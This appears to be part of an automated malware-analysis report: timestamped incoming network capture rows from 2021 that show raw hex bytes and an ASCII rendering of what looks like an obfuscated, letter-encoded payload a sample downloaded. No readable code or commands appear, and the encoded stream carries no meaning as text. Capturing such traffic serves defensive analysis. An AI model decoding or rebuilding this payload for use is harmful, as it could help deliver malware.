2021-10-29 18:10:44 UTC	1410	IN	Data Raw: 72 20 56 72 57 20 4e 4e 63 20 4e 4d 72 20 56 43 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 4d 59 20 4e 43 4d 20 57 63 20 59 43 20 4e 49 4d 20 59 4e 20 56 59 43 20 56 72 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 4e 4c 59 20 63 56 20 56 56 57 20 4e 43 43 20 56 72 57 20 4e 43 49 20 4e 63 72 20 4e 72 4d 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 56 43 49 20 4e 56 43 20 4e 4c 4d 20 4c 49 20 4e 57 43 20 59 59 20 4e 4c 4d 20 56 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 43 20 57 59 20 4e 49 43 20 57 57 20 56 56 72 20 4e 4e 4c 20 56 4e 59 20 4e 72 59 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 59 56 20 59 4d 20 56 56 72 20 4c 63 Data Ascii: r VrW NNc NMr VCW YC rI YC Yr VNC NVV NMY NCM Wc YC NIM YN VYC VrY NNr NNM NCW NNV NIC Yc NLY cV VVW NCC VrW NCI Ncr NrM rI YC Yr Ir Vrr NVY VCI NVC NLM LI NWC YY NLM VNN NNM NCW NNV YC NIV YI NC WY NIC WW VVr NNL VNY NrY YC Yr Ir NNr VrL NCN YV YM VVr Lc
2021-10-29 18:10:44 UTC	1413	IN	Data Raw: 49 4e 20 56 4e 4d 20 4e 4e 63 20 56 56 4e 20 56 4e 4c 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 49 49 20 4e 56 72 20 4e 43 4d 20 59 43 20 4e 59 63 20 59 4e 20 4e 72 56 20 56 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 56 56 4d 20 4c 57 20 56 57 20 4e 4e 57 20 56 4e 4d 20 4e 43 49 20 4e 4d 4d 20 4e 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 4e 4e 59 20 4e 4e 56 20 4e 4d 4c 20 4c 4d 20 4e 59 57 20 59 59 20 4e 59 4d 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4d 20 49 72 20 56 4e 4c 20 57 63 20 4e 57 56 20 4e 4e 4c 20 56 56 72 20 4e 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4e 43 63 20 72 57 20 4e 4d 59 20 Data Ascii: IN VNM NNc VVN VNL YC rI YC Yr VNC NVV NII NVr NCM YC NYc YN NrV VrN NNr NNM NCW NNV NIC Yc VVM LW VW NNW VNM NCI NMM NYN rI YC Yr Ir Vrr NVY NNY NNV NML LM NYW YY NYM VNY NNM NCW NNV YC NIV YI NM Ir VNL Wc NWV NNL VVr NrW YC Yr Ir NNr VrL NCN NCc rW NMY
2021-10-29 18:10:44 UTC	1418	IN	Data Raw: 59 4e 20 72 49 20 56 56 59 20 59 59 20 4d 49 20 56 4e 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4c 57 20 57 56 20 57 49 20 4e 4e 4d 20 4e 57 43 20 4e 4e 4c 20 4e 4d 20 4e 59 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4d 63 20 59 4d 20 56 72 57 20 59 43 20 56 56 63 20 49 59 20 49 57 20 56 56 43 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 43 20 63 56 20 4e 63 20 4e 56 4e 20 4e 43 4e 20 4e 43 57 20 4e 63 72 20 59 4e 20 72 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 4c 59 20 4e 56 43 20 56 4c 59 20 63 43 20 56 59 4e 20 59 72 20 4e 56 57 20 4e 4e 59 20 4d 4c 20 4e 57 63 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 57 56 20 4e 72 4d 20 4e 56 4e 20 4e 56 59 20 4e 4e 56 20 Data Ascii: YN rI VVY YY MI VNW NNM NCW NNV YC NIV YI NLW WV WI NNM NWC NNL NM NYL YC Yr Ir NNr VrL NCN Mc YM VrW YC VVc IY IW VVC NCW NNV YC rI NIC cV Nc NVN NCN NCW Ncr YN r NYY Yr Ir NNr NNM VLY NVC VLY cC VYN Yr NVW NNY ML NWc NNV YC rI YC NMc WV NrM NVN NVY NNV
2021-10-29 18:10:44 UTC	1422	IN	Data Raw: 4e 57 59 20 4e 43 72 20 4e 43 49 20 59 43 20 4d 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 72 4c 20 59 43 20 57 49 20 72 49 20 56 56 4e 20 63 4d 20 72 59 20 4e 4e 57 20 56 4c 63 20 56 4e 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 43 63 20 56 59 59 20 49 57 20 4e 4e 4d 20 59 43 20 49 43 20 72 49 20 4e 59 43 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 4e 4e 20 72 57 20 4e 4c 63 20 56 4e 20 49 59 20 4e 4e 72 20 56 43 20 4e 4e 4e 20 56 4e 56 20 4e 59 4c 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 72 4d 20 4e 4e 63 20 4e 63 59 20 72 49 20 72 4e 20 72 49 20 49 4c 20 59 56 20 72 20 56 56 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 43 57 20 59 57 20 4c 4c 20 4e 43 4d 20 56 43 4c 20 4e 43 57 20 4e Data Ascii: NWY NCr NCI YC MY NYM Ir NNr NNM NCW VrL YC WI rI VVN cM rY NNW VLc VNW YC rI YC Yr VNC NCc VYY IW NNM YC IC rI NYC VYY NNr NNM NCW NNV VNN rW NLc VN IY NNr VC NNN VNV NYL rI YC Yr Ir NrM NNc NcY rI rN rI IL YV r VVL NNM NCW NNV YC VCW YW LL NCM VCL NCW N
2021-10-29 18:10:44 UTC	1426	IN	Data Raw: 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e Data Ascii: NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir N
2021-10-29 18:10:44 UTC	1430	IN	Data Raw: 20 72 49 20 59 4e 20 59 72 20 56 59 4e 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 59 57 20 56 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 57 72 20 49 57 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 59 4c 20 49 57 20 59 43 20 72 49 20 72 49 20 59 72 20 56 4e 57 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e Data Ascii: rI YN Yr VYN WN NNM NCW NNL YC NYW VM Yr Ir NNY NNM NWr IW YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM YL IW YC rI rI Yr VNW WN NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY NN
2021-10-29 18:10:44 UTC	1434	IN	Data Raw: 4e 4e 4d 20 4e 59 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 56 20 4e 4e 43 20 59 43 20 72 49 20 59 4e 20 59 72 20 4e 43 4c 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 49 49 20 57 43 20 59 43 20 72 49 20 72 57 20 59 72 20 4e 4d 20 4d 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 4d 20 4e 56 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 43 20 4d 4d 20 59 43 20 72 49 20 72 49 20 59 72 20 63 4d 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 57 4d 20 72 49 20 59 43 20 72 49 20 72 57 20 59 72 20 56 72 72 20 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 20 59 72 20 49 72 Data Ascii: NNM NY Yr Ir NNV NNM NVV NNC YC rI YN Yr NCL rI NNM NCW NNL YC L NNV Yr Ir NNV NNM NII WC YC rI rW Yr NM MW NNM NCW NNL YC NM NV Yr Ir NNY NNM rC MM YC rI rI Yr cM NCI NNM NCW NNL YC L NNV Yr Ir NNV NNM NWM rI YC rI rW Yr Vrr YC NNM NCW NNc YC NVr V Yr Ir
2021-10-29 18:10:44 UTC	1438	IN	Data Raw: 20 63 49 20 4e 4c 59 20 4e 4e 63 20 59 4e 20 59 56 20 63 72 20 57 20 4e 63 4d 20 4e 4e 49 20 4e 4e 63 20 4e 43 59 20 4e 4e 4d 20 57 20 56 43 4e 20 59 72 20 63 4c 20 49 43 20 4c 4c 20 4e 4e 43 20 4e 72 63 20 4e 4e 63 20 56 4c 49 20 72 49 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4e 72 43 20 56 4e 20 72 43 20 59 59 20 56 4c 20 49 43 20 4e 57 49 20 49 63 20 4e 43 49 20 4e 4e 56 20 4e 57 20 59 56 20 72 4c 20 4e 4e 49 20 49 59 20 4e 4e 72 20 4e 4e 63 20 4e 43 49 20 4e 49 57 20 4e 4d 20 72 57 20 59 43 20 72 4d 20 49 59 20 56 72 49 20 63 59 20 56 59 20 4e 4e 56 20 56 4d 20 59 56 20 4e 49 72 20 56 20 56 56 20 4e 4e 57 20 57 56 20 4e 43 59 20 4e 72 4e 20 72 4d 20 4e 56 4e 20 59 59 20 4c 4e 20 49 43 20 4e 56 4e 20 59 4c 20 4e 43 49 20 4e 4e Data Ascii: cI NLY NNc YN YV cr W NcM NNI NNc NCY NNM W VCN Yr cL IC LL NNC Nrc NNc VLI rI NIr V IY NNr NCC NCY NrC VN rC YY VL IC NWI Ic NCI NNV NW YV rL NNI IY NNr NNc NCI NIW NM rW YC rM IY VrI cY VY NNV VM YV NIr V VV NNW WV NCY NrN rM NVN YY LN IC NVN YL NCI NN
2021-10-29 18:10:44 UTC	1442	IN	Data Raw: 56 43 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 56 4d 20 49 63 20 56 59 43 20 59 4c 20 56 4c 4d 20 4e 56 59 20 4e 56 4c 20 59 43 20 4d 4e 20 4e 4e 49 20 56 4e 56 20 4e 56 4d 20 63 43 20 4e 4e 4e 20 4c 63 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 43 4c 20 49 4e 20 56 4e 4d 20 4e 43 63 20 56 4c 72 20 4e 56 59 20 57 4e 20 59 4c 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 56 49 20 4e 43 72 20 4d 72 20 56 72 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 4e 43 20 57 59 20 4e 43 72 20 4e 4e 56 20 57 4e 20 59 4c 20 56 63 20 72 59 20 49 4e 20 4e 4e 72 20 56 49 20 4e 43 72 20 56 4e 4e 20 4e 4c 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 72 57 20 57 56 20 4e 43 72 20 4e 4e 56 20 57 57 20 59 4c 20 4e 57 57 20 56 20 56 4e 49 20 4e 56 4d 20 72 20 4e 43 72 20 56 59 43 20 63 20 72 57 Data Ascii: VC NNr NMc cL NVM Ic VYC YL VLM NVY NVL YC MN NNI VNV NVM cC NNN Lc NNr NMc cL NCL IN VNM NCc VLr NVY WN YL NIr V IY NNr VI NCr Mr Vr YL YC WY IN NNC WY NCr NNV WN YL Vc rY IN NNr VI NCr VNN NL YL YC WY IN NrW WV NCr NNV WW YL NWW V VNI NVM r NCr VYC c rW
2021-10-29 18:10:44 UTC	1445	IN	Data Raw: 59 4c 20 4e 72 59 20 59 72 20 4d 63 20 4e 4e 43 20 4e 56 72 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4e 43 20 72 43 20 4c 4e 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4c 20 4e 43 63 20 4e 4e 59 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 72 20 4e 43 72 20 56 4e 4e 20 59 43 20 4e 4e 56 20 72 63 20 4e 56 4d 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4e 57 20 4e 43 63 20 49 4c 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 49 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 57 43 20 72 43 20 4e 49 4c 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 4d 20 59 4c 20 4e 72 59 20 59 72 20 63 43 20 4e 4e 43 20 56 59 56 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4d 72 20 72 43 20 4e 59 4e 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 Data Ascii: YL NrY Yr Mc NNC NVr NCr NWY YC NNC rC LN IN NWL NNM L NCc NNY YL NNL Yr NcV NVY Yr NCr VNN YC NNV rc NVM IN NWL NNM NW NCc IL YL NNL Yr NcV NVY VI NCr NWY YC NWC rC NIL IN rW NNM NYY NVM NMM YL NrY Yr cC NNC VYV NCr NWY YC NMr rC NYN IN rW NNM NYY NVM Nr
2021-10-29 18:10:44 UTC	1450	IN	Data Raw: 63 56 20 4e 56 59 20 56 72 59 20 4e 4e 63 20 4e 56 4c 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4d 4d 20 4e 56 4e 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 72 4e 20 59 4d 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 4c 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 59 43 20 4d 4c 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 72 56 20 72 59 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 56 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 59 72 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 4c 20 4e 4e 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 49 63 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 72 63 20 4e 4e 4c 20 59 72 Data Ascii: cV NVY VrY NNc NVL YC NWI cN Vrc MM NVN NNM NYY NVM VNC rN YM Yr NcV NVY NrW NNL YN YC NWI cN NYC ML rW NNM NYY NVM VrV rY NNL Yr NcV NVY NrW NNV YN YC NWI cN Yr Mr rW NNM NYY NVM NI rc NNL Yr NcV NVY YL NNY YN YC NWI cN Ic Mr rW NNM NYY NVM NMI rc NNL Yr
2021-10-29 18:10:44 UTC	1454	IN	Data Raw: 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 4c 20 49 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4e 43 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 4e 4d 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4e 72 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 49 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 63 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 49 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 4e 72 20 4e 43 57 20 Data Ascii: rW NNM NYY NVM NMI I NNL Yr NcV NVY VNL IY YN YC NWI cN Vrc NCI rW NNM NYY NVM VNC I NNL Yr NcV NVY NNM Ir YN YC NWI cN VV NCW rW NNM NYY NVM NNr W NNL Yr NcV NVY VN Ir YN YC NWI cN NIV NCW rW NNM NYY NVM Nrc W NNL Yr NcV NVY NIN Ir YN YC NWI cN VNr NCW
2021-10-29 18:10:44 UTC	1458	IN	Data Raw: 20 56 4e 59 20 63 43 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 59 43 20 57 57 20 49 4c 20 72 4c 20 72 49 20 59 43 20 4e 4e 4c 20 57 4e 20 56 56 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 4c 4c 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 56 72 20 49 4c 20 72 4c 20 72 49 20 59 43 20 56 57 20 49 72 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 56 4e 20 59 4e 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 43 59 20 56 4e 56 20 72 4c 20 72 49 20 59 43 20 4e 59 20 49 4c 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 43 20 59 4d 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 72 63 20 4e 43 56 20 49 4d 20 72 4c 20 72 49 20 59 43 20 56 56 72 20 4e 43 4d 20 4e 57 57 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 63 4c 20 4e 4e 72 20 4e Data Ascii: VNY cC NM rM Ir NNr YC WW IL rL rI YC NNL WN VVN NCI NCW NNV NCM LL NM rM Ir NNr NcC NVr IL rL rI YC VW Ir IN NCI NCW NNV VN YN NM rM Ir NNr NcC NCY VNV rL rI YC NY IL IN NCI NCW NNV C YM NM rM Ir NNr Nrc NCV IM rL rI YC VVr NCM NWW NCI NCW NNV NcL NNr N
2021-10-29 18:10:44 UTC	1462	IN	Data Raw: 4e 72 20 4e 63 72 20 4e 43 49 20 4e 49 4e 20 59 43 20 72 57 20 59 43 20 56 56 49 20 49 59 20 4e 49 4c 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 56 20 63 4e 20 59 43 20 56 72 59 20 59 72 20 49 63 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 49 59 20 59 43 20 59 72 20 59 43 20 4c 43 20 49 72 20 57 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 72 43 20 59 56 20 4c 4d 20 59 72 20 56 20 4e 4e 72 20 4e 43 59 20 4e 43 59 20 4e 43 59 20 59 43 20 4e 43 56 20 59 43 20 72 43 20 49 43 20 4e 43 59 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 4e 49 20 59 56 20 72 4d 20 59 72 20 56 20 4e 4e 72 20 49 4d 20 4e 43 59 20 4e 4e 4e 20 59 43 20 4e 43 56 20 59 43 20 4e 49 20 49 43 20 49 4c 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 56 43 20 59 56 20 4e 4d 20 59 72 20 4e 59 59 20 49 57 20 4e 4d 56 20 4d 43 20 4e Data Ascii: Nr Ncr NCI NIN YC rW YC VVI IY NIL NNM NNN NNV cN YC VrY Yr Ic NNr NCC NNN NIY YC Yr YC LC Ir WM NNM YW NNV rC YV LM Yr V NNr NCY NCY NCY YC NCV YC rC IC NCY NNM YW NNV NI YV rM Yr V NNr IM NCY NNN YC NCV YC NI IC IL NNM YW NNV VC YV NM Yr NYY IW NMV MC N
2021-10-29 18:10:44 UTC	1466	IN	Data Raw: 59 72 20 4e 4d 20 4e 4e 72 20 4e 57 20 4e 43 57 20 59 4c 20 59 43 20 49 4d 20 59 43 20 4e 4e 59 20 49 72 20 56 63 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 57 4e 20 72 49 20 4e 4e 57 20 59 72 20 63 56 20 4e 4e 72 20 72 49 20 4e 43 57 20 56 4d 20 59 43 20 4e 4e 4d 20 59 43 20 57 43 20 49 72 20 59 59 20 4e 4e 4d 20 43 20 4e 4e 56 20 4e 4e 57 20 72 49 20 57 56 20 59 72 20 4e 4d 20 4e 4e 72 20 56 63 20 4e 43 57 20 59 4c 20 59 43 20 63 72 20 59 43 20 4e 4e 59 20 49 72 20 4c 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 63 72 20 72 49 20 4e 4e 57 20 59 72 20 4c 57 20 4e 4e 72 20 72 49 20 4e 43 57 20 72 20 59 43 20 4e 4e 4d 20 59 43 20 63 4d 20 49 72 20 59 59 20 4e 4e 4d 20 56 4d 20 4e 4e 56 20 4e 4e 57 20 72 49 20 63 57 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 4c 20 4e 43 57 20 59 Data Ascii: Yr NM NNr NW NCW YL YC IM YC NNY Ir Vc NNM rC NNV WN rI NNW Yr cV NNr rI NCW VM YC NNM YC WC Ir YY NNM C NNV NNW rI WV Yr NM NNr Vc NCW YL YC cr YC NNY Ir L NNM rC NNV cr rI NNW Yr LW NNr rI NCW r YC NNM YC cM Ir YY NNM VM NNV NNW rI cW Yr NM NNr NL NCW Y
2021-10-29 18:10:44 UTC	1477	IN	Data Raw: 20 49 59 20 4d 43 20 4e 43 59 20 56 57 20 56 56 20 63 49 20 57 4e 20 4e 4e 56 20 63 59 20 49 59 20 4d 43 20 4e 43 59 20 56 57 20 56 56 20 63 49 20 57 4e 20 4e 4e 56 20 4e 4e 57 20 57 72 20 4d 43 20 57 59 20 4c 56 20 4e 4e 20 63 49 20 57 4e 20 4e 4e 56 20 63 20 4e 20 56 20 4e 4e 72 20 57 4d 20 4d 4e 20 63 49 20 72 4d 20 59 72 20 4e 4e 20 4e 4e 63 20 4e 4e 4c 20 4d 20 4e 49 20 63 63 20 59 72 20 72 4c 20 63 63 20 72 20 56 20 4e 4e 57 20 56 20 4e 63 20 72 49 20 63 49 20 57 4c 20 4d 4e 20 59 20 4d 20 4e 4e 20 4c 20 4e 63 20 4d 4e 20 63 4d 20 72 43 20 59 4c 20 4e 4e 4c 20 43 20 43 20 43 20 49 72 20 59 59 20 63 57 20 72 63 20 59 4c 20 4e 4e 56 20 4c 20 4e 4e 57 20 56 20 57 49 20 59 59 20 4d 4d 20 49 49 20 4d 4e 20 4e 4e 59 20 4d 20 56 20 4e 4e 4d 20 4e 49 20 72 Data Ascii: IY MC NCY VW VV cI WN NNV cY IY MC NCY VW VV cI WN NNV NNW Wr MC WY LV NN cI WN NNV c N V NNr WM MN cI rM Yr NN NNc NNL M NI cc Yr rL cc r V NNW V Nc rI cI WL MN Y M NN L Nc MN cM rC YL NNL C C C Ir YY cW rc YL NNV L NNW V WI YY MM II MN NNY M V NNM NI r
2021-10-29 18:10:44 UTC	1482	IN	Data Raw: 57 20 4d 4e 20 49 49 20 59 43 20 4e 4e 63 20 4e 4e 4c 20 4e 4e 63 20 4e 4e 56 20 56 4e 20 4d 43 20 4d 63 20 57 43 20 4d 43 20 4e 4e 57 20 57 20 4e 4e 4c 20 4e 4e 72 20 4e 43 4e 20 59 59 20 4d 43 20 49 59 20 72 57 20 4e 4e 59 20 4e 4e 63 20 4e 4e 63 20 56 20 57 49 20 63 59 20 59 59 20 4e 43 57 20 4d 4c 20 4e 4e 49 20 57 20 4e 4e 59 20 4e 4e 56 20 4e 43 4c 20 59 4e 20 72 49 20 57 56 20 63 59 20 4e 4e 59 20 59 20 4e 43 20 4e 4e 72 20 57 4d 20 4d 4e 20 72 49 20 72 4d 20 4d 56 20 4e 4e 59 20 63 20 4e 4e 59 20 4e 4e 59 20 56 4c 20 4d 72 20 59 4e 20 57 4c 20 63 4d 20 4e 4e 63 20 4d 20 4e 4e 59 20 4e 4e 72 20 4e 43 43 20 63 4d 20 72 49 20 49 59 20 4d 4c 20 4e 4e 20 72 20 4e 4e 56 20 59 72 20 57 4d 20 72 49 20 59 59 20 57 72 20 4d 4e 20 4e 43 20 49 20 4e 4e 59 20 Data Ascii: W MN II YC NNc NNL NNc NNV VN MC Mc WC MC NNW W NNL NNr NCN YY MC IY rW NNY NNc NNc V WI cY YY NCW ML NNI W NNY NNV NCL YN rI WV cY NNY Y NC NNr WM MN rI rM MV NNY c NNY NNY VL Mr YN WL cM NNc M NNY NNr NCC cM rI IY ML NN r NNV Yr WM rI YY Wr MN NC I NNY
2021-10-29 18:10:44 UTC	1498	IN	Data Raw: 4e 72 20 63 20 4e 72 20 4e 4d 20 57 56 20 57 72 20 49 4d 20 63 49 20 56 4e 20 43 20 4e 49 20 4e 43 57 20 4c 59 20 49 4d 20 49 4e 20 63 72 20 49 59 20 63 43 20 4e 4e 72 20 59 63 20 4e 56 20 72 20 49 4e 20 49 49 20 59 43 20 4e 4e 4c 20 72 57 20 63 20 59 63 20 57 20 63 57 20 4e 56 56 20 49 4e 20 63 59 20 57 72 20 49 72 20 72 57 20 56 63 20 43 20 43 20 4d 4e 20 63 49 20 49 4d 20 4e 56 63 20 59 4c 20 4e 20 56 57 20 4e 43 57 20 63 4e 20 49 4c 20 63 49 20 57 43 20 59 72 20 4c 63 20 43 20 56 63 20 4e 4e 20 56 59 20 57 72 20 49 59 20 57 49 20 49 4d 20 4c 56 20 56 63 20 4e 4e 4d 20 72 56 20 56 4e 20 4d 43 20 4e 4e 49 20 57 4c 20 57 43 20 72 49 20 56 4c 20 4d 20 63 4e 20 4e 4d 20 4d 43 20 49 49 20 59 43 20 63 49 20 59 57 20 56 57 20 4e 20 63 4e 20 4e 4d 20 4d 43 20 Data Ascii: Nr c Nr NM WV Wr IM cI VN C NI NCW LY IM IN cr IY cC NNr Yc NV r IN II YC NNL rW c Yc W cW NVV IN cY Wr Ir rW Vc C C MN cI IM NVc YL N VW NCW cN IL cI WC Yr Lc C Vc NN VY Wr IY WI IM LV Vc NNM rV VN MC NNI WL WC rI VL M cN NM MC II YC cI YW VW N cN NM MC
